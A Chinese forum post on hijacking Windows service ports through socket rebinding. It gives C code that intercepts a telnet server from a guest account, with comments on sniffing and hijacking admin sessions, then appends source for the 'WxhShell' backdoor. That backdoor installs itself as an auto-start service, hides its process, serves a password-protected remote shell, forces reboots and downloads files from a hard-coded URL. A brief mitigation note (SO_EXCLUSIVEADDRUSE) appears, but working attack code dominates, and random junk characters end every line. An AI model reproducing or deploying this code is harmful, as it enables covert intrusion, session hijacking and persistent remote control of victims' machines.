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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jhUab],  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %:N6#;l M  
vN-#Ej. u  
  saddr.sin_family = AF_INET; Zk)]=<H  
M SoLx' <  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I7nt<l!  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sYiegX`1c  
}?^5\otu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R>To L  
jtV{Lf3<  
  这意味着什么?意味着可以进行如下的攻击: j>+x|!k  
M&~3fRb 4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z[yQKy  
pN&5vu30  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ix^xL+Tm  
j Aw&5,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B5IS-d  
S`BLwnU`#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +eZR._&0  
MZB0vdx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `)& -;CMY  
ddmTMfH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5v=%pQbY  
vAbMU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9;k_"@A6  
l!<Nw8+U  
  #include Rgw\qOb  
  #include H*!j\|v0  
  #include =4"D8 UaHr  
  #include    wLPL 9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F"#bCnS  
  int main() fKf5i@CvB@  
  { M])Y|}wv8  
  WORD wVersionRequested; ((\s4-   
  DWORD ret; :se o0w]  
  WSADATA wsaData; cXFNX<  
  BOOL val; 13I 7ah  
  SOCKADDR_IN saddr; Xa.Qt.C  
  SOCKADDR_IN scaddr; p\wE})mu  
  int err; ~&[Wqn@MZ  
  SOCKET s; **d3uc4y  
  SOCKET sc; d,CtlWp  
  int caddsize; xN:ih*+,v  
  HANDLE mt; DKAqQ?fS  
  DWORD tid;   !krbGpTVH  
  wVersionRequested = MAKEWORD( 2, 2 ); ce\]o^4  
  err = WSAStartup( wVersionRequested, &wsaData ); DF-`nD  
  if ( err != 0 ) { b{=2#J-  
  printf("error!WSAStartup failed!\n"); ~EG`[cv  
  return -1; 1D&Q{?RM  
  } '^'vafs-/@  
  saddr.sin_family = AF_INET; ".O+";wk  
   Lo\+T+n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^rMkCA@;TZ  
Ra}%:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q9H~B`\nQ  
  saddr.sin_port = htons(23); D'F =v\P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X#j-Ld{j  
  { Wjn1W;m&g  
  printf("error!socket failed!\n"); o"->RC  
  return -1; 6e(|t2^  
  } w?d~c*4+  
  val = TRUE; aB;syl{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q>] iRx>MZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^&MMtWR  
  { 3 k py3z[%  
  printf("error!setsockopt failed!\n"); jxU1u"WU  
  return -1; Fd":\7p  
  } '3O@Nxof4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mp^%.m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d&4]?8}=.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w7cciD|  
!Low%rP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r5h}o)J  
  { $NC1>83  
  ret=GetLastError(); Q0i.gEwe  
  printf("error!bind failed!\n"); iY1%"x  
  return -1; H'Bor\;[>  
  } r t@Jw]az  
  listen(s,2); fpJM)HU  
  while(1) l&S2.sC  
  { 5:6as^i:b  
  caddsize = sizeof(scaddr); v*SSc5gFG  
  //接受连接请求 0W<:3+|n4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T3,"g=  
  if(sc!=INVALID_SOCKET) 2`tdH|Z`  
  { 1O>wXq7q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y Q-&+16^  
  if(mt==NULL) /_5I}{  
  { `[p*qsp_  
  printf("Thread Creat Failed!\n"); _]a8lr+_-  
  break; 3JVENn9  
  } T&c0j(  
  } O}I8P")m  
  CloseHandle(mt); =T;>$&qs  
  } (xf_  
  closesocket(s); RO+B/)~0<  
  WSACleanup(); 4NT zK  
  return 0; OvqCuX  
  }   G=W!$(:  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~s{yh-B  
  { 0OO$(R*  
  SOCKET ss = (SOCKET)lpParam; 3o&PVU? Q  
  SOCKET sc; .[%em9u  
  unsigned char buf[4096]; 8\+kfK  
  SOCKADDR_IN saddr; bwR_ uF  
  long num; Q?-HU,RBO  
  DWORD val; +ntrp='7O7  
  DWORD ret; aG.j0`)%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2A7g}V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qq" &Bc>  
  saddr.sin_family = AF_INET; QlmZBqK}&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 ?a-1  
  saddr.sin_port = htons(23); }'mVD^<+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WJbdsPs  
  { NWWag}  
  printf("error!socket failed!\n"); c Q:.V  
  return -1; -\6nT'P  
  } @RGVcfCG)  
  val = 100; Y?W"@awE"\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eIBHAdU+g/  
  { k>y68_  
  ret = GetLastError(); =r=[e}&9  
  return -1; tgXIj5z  
  } {j i;~9'Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i1k(3:ay<  
  { yQ5&S]Xk$$  
  ret = GetLastError(); _Mq0QQ42  
  return -1; 2c`m8EaJ  
  } vH/ z|<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :9un6A9JS  
  { =67dpQ'y  
  printf("error!socket connect failed!\n"); )';Rb$<Qn  
  closesocket(sc); 5$Lo]H*  
  closesocket(ss); Jlw%t!Kx  
  return -1; q$FwO"dC  
  } bh9rsRb}O  
  while(1) k~f3~-"  
  { /+2;".  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u&/[sq x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'zCJK~x`x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r2A%.bL#  
  num = recv(ss,buf,4096,0); vH/<!jtI  
  if(num>0) 37GJ}%Qs  
  send(sc,buf,num,0); [5K& J-W  
  else if(num==0) $MD|YW5  
  break; RU&,z3LEb  
  num = recv(sc,buf,4096,0); Gh}k9-L  
  if(num>0) ?&$??r^i  
  send(ss,buf,num,0); V?AHj<  
  else if(num==0) 8:^`rw4a0  
  break; kx,9n)  
  } VeK^hz R^Z  
  closesocket(ss); V ;Kzh$^rk  
  closesocket(sc); )D\cm7WX^[  
  return 0 ; *#+e_)d  
  } E +\?|q !T  
?w'a^+H  
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========================================================== bl@0+NiM  
#U45H.Rz  
下边附上一个代码,,WXhSHELL @V{s'V   
b<,Z^Z_  
========================================================== ]"bkB+I  
N2:};a[ui5  
#include "stdafx.h" 3Mw\}q  
^.bYLF  
#include <stdio.h> [0|g3K !A  
#include <string.h> Trd/\tX#v&  
#include <windows.h> ngF5ywIG  
#include <winsock2.h> sute%6yM  
#include <winsvc.h> lr SdFJ%  
#include <urlmon.h> {TT@Mkz_QC  
6&/H XqP  
#pragma comment (lib, "Ws2_32.lib") p ;E zmz  
#pragma comment (lib, "urlmon.lib") b]S4\BBT  
[pMJ9 d$  
#define MAX_USER   100 // 最大客户端连接数 xbJ@z {  
#define BUF_SOCK   200 // sock buffer `H+~LVH  
#define KEY_BUFF   255 // 输入 buffer _22;hnG<iy  
<hlH@[7!  
#define REBOOT     0   // 重启 Y"qKe,  
#define SHUTDOWN   1   // 关机 0l-m:6  
U 7mA~t2E  
#define DEF_PORT   5000 // 监听端口 mNkS!(L6  
R^zTgyr  
#define REG_LEN     16   // 注册表键长度 ]jo^P5\h>  
#define SVC_LEN     80   // NT服务名长度 1(!w xJ  
&4M0 S+.  
// 从dll定义API v&g(6~b_>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); klHOAb1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bz!9\D|h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hKq <e%oVH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W\09h Z6  
r~q*E'n  
// wxhshell配置信息 +zodkB~)  
struct WSCFG { s@C KZ`  
  int ws_port;         // 监听端口 &8!* u3  
  char ws_passstr[REG_LEN]; // 口令 c%1 <O!c  
  int ws_autoins;       // 安装标记, 1=yes 0=no +N0V8T%~z.  
  char ws_regname[REG_LEN]; // 注册表键名 g1U   
  char ws_svcname[REG_LEN]; // 服务名 `P1jg$(eA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (ov=D7>t0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }'HJVB_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :%GxU;<E{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .#n1p:}[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5G.A\`u%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?^iX%   
Jej P91  
}; gs;3NW  
(lv|-Phc.  
// default Wxhshell configuration RFF&-M]  
struct WSCFG wscfg={DEF_PORT, Jp)>Wd  
    "xuhuanlingzhe", n]&/?6}  
    1, GRpS^%8i@  
    "Wxhshell", hpJ[VKe  
    "Wxhshell", MGn:Gj"d  
            "WxhShell Service", 9/Q_Jv-Q  
    "Wrsky Windows CmdShell Service", Bkg/A;H  
    "Please Input Your Password: ", ".+wz1  
  1, fuJ6 fmT  
  "http://www.wrsky.com/wxhshell.exe", p)}iUU2N  
  "Wxhshell.exe" pQ0yZpN%;  
    }; RB1c!h$u  
 _Y@'<S.  
// 消息定义模块 PAF2=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >L$g ;(g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n"B"Aysz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J;+A G^U<  
char *msg_ws_ext="\n\rExit."; f(q^R  
char *msg_ws_end="\n\rQuit."; SF*! Z2K  
char *msg_ws_boot="\n\rReboot..."; w <zO  
char *msg_ws_poff="\n\rShutdown..."; x7$U  
char *msg_ws_down="\n\rSave to "; ,ry2J,IT7  
zo66=vE!  
char *msg_ws_err="\n\rErr!"; [uOW\)`  
char *msg_ws_ok="\n\rOK!"; yC. ve;lG  
B.2F\ub g  
char ExeFile[MAX_PATH]; 3\eb:-B:@  
int nUser = 0; $I(2}u?1+d  
HANDLE handles[MAX_USER]; G hH0-g{-  
int OsIsNt; e* gCc7zz  
hg7`jE&2  
SERVICE_STATUS       serviceStatus; d!) &@k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ':yE5j  
Zyq h  
// 函数声明 vPuPSE%M  
int Install(void); .E:QZH'M  
int Uninstall(void); ?! dp0<  
int DownloadFile(char *sURL, SOCKET wsh); Zab5"JR  
int Boot(int flag); Nt42v  
void HideProc(void); w91gM*A  
int GetOsVer(void); 31mY]Jve"  
int Wxhshell(SOCKET wsl); pE >~F  
void TalkWithClient(void *cs); e#`wshtN:  
int CmdShell(SOCKET sock); T 1m097  
int StartFromService(void); W2h^ShG  
int StartWxhshell(LPSTR lpCmdLine); P\bW kp0  
<~# ZtD$G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LLOe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )_!t9gn*wr  
>*%ySlZbs  
// 数据结构和表定义 ^!^8]u<Q  
SERVICE_TABLE_ENTRY DispatchTable[] = `WF?87l1  
{ mj :8ZZ  
{wscfg.ws_svcname, NTServiceMain}, b\~rL,7(  
{NULL, NULL} cw#p!mOi~  
}; 7V?]Qif~  
\2i4]V  
// 自我安装 s$xctIbm?,  
int Install(void) w#_xV =  
{ N3E Qq~lX  
  char svExeFile[MAX_PATH]; MO)N0{.b  
  HKEY key; 7 ]a6dMh  
  strcpy(svExeFile,ExeFile); R:YX{Tq  
5}gcJjz  
// 如果是win9x系统,修改注册表设为自启动 M`HXUA4  
if(!OsIsNt) { J'tc5Ip!}V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2vWJ|&|p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `.nkC_d  
  RegCloseKey(key); jeMh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1vQf=t %lw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <x DD*u  
  RegCloseKey(key); ^.jIus5  
  return 0; VR5$[-E3  
    } $Hqm 09w  
  } S:{hgi,T*  
} sJtz{'  
else { VkFTIyt  
Lu}oC2  
// 如果是NT以上系统,安装为系统服务 @u3K.}i:g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7(na?Z$  
if (schSCManager!=0) Q(gu ";&  
{ ->&AJI0  
  SC_HANDLE schService = CreateService ;hNn F&l  
  ( cX"[#Em#  
  schSCManager, 2Xk(3J!!'a  
  wscfg.ws_svcname, F>&Q5Kl R  
  wscfg.ws_svcdisp, Oa\!5Pw1  
  SERVICE_ALL_ACCESS, KZeRbq2 jJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \p1H" A  
  SERVICE_AUTO_START, 20;M-Wx  
  SERVICE_ERROR_NORMAL, qJB9z0a<Ov  
  svExeFile, iOm1U_S  
  NULL, ga^O]yK  
  NULL, 0iqa]Am  
  NULL, Rj9ME,u  
  NULL, 0wXfu"E{  
  NULL ^Qz8`1`;Z  
  ); /78gXHv  
  if (schService!=0) F6Zl#eL  
  { KbVV[ *  
  CloseServiceHandle(schService); 7qA);N  
  CloseServiceHandle(schSCManager); x_{ua0BLDf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F >2t=r*9  
  strcat(svExeFile,wscfg.ws_svcname); LlL\7?_;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cqr!*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eSoOJ[&$  
  RegCloseKey(key); Wcn3\v6_  
  return 0; Y&`Vs(  
    } h J#U;GL  
  } ~\DC )  
  CloseServiceHandle(schSCManager); Sj(uc#  
} sIdo(`8$  
} l*("[?>I  
zTrAk5E  
return 1; c3&F\3  
} -vwkvNn8  
"cRc~4%K  
// 自我卸载 u].=b$wHHM  
int Uninstall(void) eV^@kI4  
{ O[y.3>l[s  
  HKEY key;  IPa08/  
LslQZ]3MY  
if(!OsIsNt) { `R0>;TdT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L7_Mg{  
  RegDeleteValue(key,wscfg.ws_regname); U2/H,D  
  RegCloseKey(key); 75wQH*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `rW{zQYM  
  RegDeleteValue(key,wscfg.ws_regname); :+ @-F>Q  
  RegCloseKey(key); r0l ud&_9  
  return 0; b|n%l5 1  
  } }b2U o&][  
} -w=rNlj  
} *_b4j.)ax,  
else { b* qkox;j  
%~J90a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g$kK)z  
if (schSCManager!=0) ~el#pf~  
{ wKe^5|Rr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j[m\;3Sp  
  if (schService!=0) !tv3.:eT  
  { << LmO-92  
  if(DeleteService(schService)!=0) { n_AW0i .  
  CloseServiceHandle(schService); Y1+4ppZ  
  CloseServiceHandle(schSCManager); ygS*))7 r  
  return 0; $$<9tqA  
  } SG |!wH^  
  CloseServiceHandle(schService); t*zve,?}  
  }  BqP:]  
  CloseServiceHandle(schSCManager); Hx2UDHF  
} y.JAtsxD  
} JM -Tp!C>  
@5\OM#WT~&  
return 1; >k*QkIyq  
} u!oHP  
a+)Yk8%KY  
// 从指定url下载文件 f'TjR#w  
int DownloadFile(char *sURL, SOCKET wsh) ;5ugnVXu  
{ RPP xiYU^  
  HRESULT hr; EK_NN<So#  
char seps[]= "/"; ?+D_*'65D  
char *token; 1sYwFr5  
char *file; HB{w:  
char myURL[MAX_PATH]; (<s7X$(]e  
char myFILE[MAX_PATH]; R +P,kD?  
xO9,,w47  
strcpy(myURL,sURL); $%`OJf*k  
  token=strtok(myURL,seps); )9##mUt'}  
  while(token!=NULL) dP T)&  
  { f|WNPFQ$x  
    file=token; 'SY jEhvw  
  token=strtok(NULL,seps); E0\ '  
  } qc|;qPj   
`5<  
GetCurrentDirectory(MAX_PATH,myFILE); \yNjsG@,  
strcat(myFILE, "\\"); y7wy9+>l  
strcat(myFILE, file); i|Lir{vW  
  send(wsh,myFILE,strlen(myFILE),0); i' %V}2  
send(wsh,"...",3,0); :IV4]`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {a `kPfP  
  if(hr==S_OK) :m_0WT  
return 0; KArf:d  
else Se*ZQtwE  
return 1; <d# 9d.<  
(3 8.s:-  
} ?(*KQ#d  
@7 &rDZ  
// 系统电源模块 {F6hx9?  
int Boot(int flag) TGdD7n&Ehh  
{ (NOAHV0H  
  HANDLE hToken; (-(,~E  
  TOKEN_PRIVILEGES tkp; 6|X  
DG O_fR5L  
  if(OsIsNt) { p+snBaAo}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J;+tQ8,AP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S"CsY2;  
    tkp.PrivilegeCount = 1; 1m|Oi%i4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }<uD[[FLB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gmLGK1  
if(flag==REBOOT) { FgE6j;   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D *Siy;  
  return 0; \! Os!s  
} ?CAP8_  
else { !\JG]2 \  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L q'*B9  
  return 0; x@m"[u  
} ;Y?7|G97*S  
  } {(o\G"\<XY  
  else { R)WvU4+U  
if(flag==REBOOT) { Dgj`_yd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y gQ_P4B;  
  return 0; } !pC}m  
} 7 '2E-#^  
else { 0h^upB#p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w?Nvm?_]  
  return 0; qXt2m  
} cm%QV?  
} Q {3"&  
@'?<9 2A  
return 1; _T6WA&;8  
} [`=|^2n?  
?:s`}b  
// win9x进程隐藏模块 L=Dd`  
void HideProc(void) 5Jp@n .  
{ .oO_x>  
kFHqQs aG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Q-ON&/  
  if ( hKernel != NULL ) 1FjA   
  { ]r$S{<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nj %!N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w)&]k#r  
    FreeLibrary(hKernel); |D$U{5}Mv  
  } Sl:Qq!  
N1\u~%AT"  
return; \x(J v Dt  
} d5T0#ue/e  
|ZJ]`qmZ  
// 获取操作系统版本 @8DB Ln w  
int GetOsVer(void) 4Mi*bN,  
{ bo <.7  
  OSVERSIONINFO winfo; l4O}>#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I=x   
  GetVersionEx(&winfo); pHsp]a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +"?K00*(  
  return 1; O#H`/z  
  else YCeE?S1gk3  
  return 0; ZJP.-`U  
} A_{QY&%m  
b?CmKiM%  
// 客户端句柄模块 W+H 27qsv  
int Wxhshell(SOCKET wsl) j Z3N+_J1  
{ r@e_cD] M  
  SOCKET wsh; %HL@O]ftS  
  struct sockaddr_in client; TqKL(Qw E  
  DWORD myID; |w>"oaLN|Q  
W`eYd| +C  
  while(nUser<MAX_USER) 5ii`!y  
{ k^C;"awh  
  int nSize=sizeof(client); .',ikez  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fng":28o  
  if(wsh==INVALID_SOCKET) return 1; 4L^KR_h/  
bV@53_)N2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,`P,))  
if(handles[nUser]==0) X z2IAiAs'  
  closesocket(wsh); f>\?\!  
else ro}plK(<WQ  
  nUser++; >J3N,f  
  } w]"Y1J(i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [LL"86D  
y`mEsj  
  return 0; (vz)GrH>  
} d7It}7@9  
W2%(a0p  
// 关闭 socket 5;>M&qmN  
void CloseIt(SOCKET wsh) Z&s+*& TM  
{ ;T"}dJel#  
closesocket(wsh); 6IPhy.8  
nUser--; za<Ja=f9X  
ExitThread(0); pk}*0Y-  
} T d4/3k  
Fu )V2[TY  
// 客户端请求句柄 |; $fy-  
void TalkWithClient(void *cs) ^-4mZXAy1|  
{ AcrbR&cvG  
Mq[;:  
  SOCKET wsh=(SOCKET)cs; }-V .upl  
  char pwd[SVC_LEN]; ?j ?{} Z  
  char cmd[KEY_BUFF]; %a8'6^k  
char chr[1]; b\U Q6 V  
int i,j; fR5 NiH  
?5$\8gZ  
  while (nUser < MAX_USER) { @D9c  
.#5<ZAh/?  
if(wscfg.ws_passstr) { p % 3B^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %ghQ#dZ]&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }UXj|SY  
  //ZeroMemory(pwd,KEY_BUFF); 9 ?MOeOV8  
      i=0; u 6 la  
  while(i<SVC_LEN) { }s}b]v  
Lt@4F   
  // 设置超时 ]v rpr%K  
  fd_set FdRead; -66|Y  
  struct timeval TimeOut; a}M7"v9  
  FD_ZERO(&FdRead); .{5)$w>  
  FD_SET(wsh,&FdRead); pF K[b  
  TimeOut.tv_sec=8; q&jZmr  
  TimeOut.tv_usec=0; : 60PO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A{x &5yX8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `r_qvrC  
"!p#8jR^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rU<  H7U  
  pwd=chr[0]; O4 \GL  
  if(chr[0]==0xd || chr[0]==0xa) { wE%v[q[*X  
  pwd=0; B(Y{  
  break; :Q+ rEjw+  
  } MukPY2[Am  
  i++; L.U [eH  
    } -T4?5T_  
JP!$uK{u  
  // 如果是非法用户,关闭 socket MA(\ r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .A\9|sRZ5  
} 4{CVBowi  
jGR_EE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bq79Ev .-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dMeDQ`c`W  
E|6X.Ny]   
while(1) { ORcl=Eo>  
d";+8S  
  ZeroMemory(cmd,KEY_BUFF); ~S"G~a(&j  
0x[vB5R  
      // 自动支持客户端 telnet标准   /Wg$.<!5 }  
  j=0; !fzqpl\ze  
  while(j<KEY_BUFF) { ^q FFF3<8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0@*rp7   
  cmd[j]=chr[0]; T>vHZZiO  
  if(chr[0]==0xa || chr[0]==0xd) { }`f%"Z  
  cmd[j]=0; `U2Z(9le  
  break; uO,90g[C/R  
  } hJhdHy=U  
  j++; Iimz  
    } o \b8lwA,  
7S2Bm]fP  
  // 下载文件 $w+g%y)  
  if(strstr(cmd,"http://")) { g B+cU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RUX!(Xw  
  if(DownloadFile(cmd,wsh)) qO&:J\d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F~W*"i+EZ  
  else 9zi/z_G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zp- Av8  
  } $qg5m,1?  
  else { il5WLi;{  
dE/Vl/:  
    switch(cmd[0]) { kW6}57iV  
  '(^p$=3|@D  
  // 帮助 u"X8(\pOn  
  case '?': { 1MfRF v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s8@fZ4  
    break; EJdq"6S  
  } 3"I 1'+  
  // 安装 *7BY$q  
  case 'i': { !G`w@E9M)  
    if(Install()) HmbTV(lC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G dL\  
    else m]7Y )&3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U NQup;#h  
    break; $ AG.<  
    } -uy}]s5Qu  
  // 卸载 ^row=5]E  
  case 'r': { 6st(s@>  
    if(Uninstall()) hLx*$Z>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CEqfsKrsxE  
    else 1hi^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \&ERSk2  
    break; GlQ=M ) E  
    } if#$wm%  
  // 显示 wxhshell 所在路径 -7m;rD4J  
  case 'p': { KGP2,U6  
    char svExeFile[MAX_PATH]; +-qD!(&-6  
    strcpy(svExeFile,"\n\r"); rLh490@  
      strcat(svExeFile,ExeFile); ,_\h)R_  
        send(wsh,svExeFile,strlen(svExeFile),0); <0v'IHlZ8  
    break; .N/4+[2p(  
    } sDJ5'ul  
  // 重启 Br \/7F  
  case 'b': { ^h^j:!76j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +n2x@ 0op  
    if(Boot(REBOOT)) ;E* ^AW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2&'8:B  
    else { =k3QymA  
    closesocket(wsh); m='+->O*'l  
    ExitThread(0); MW'z*r|,  
    } /R9>\}.y J  
    break; =jg!@H=_i  
    } Y*wbFL6`  
  // 关机 i,;Q  
  case 'd': { }Z0)FU +  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g6 7*Bs  
    if(Boot(SHUTDOWN)) FY#`]124*  
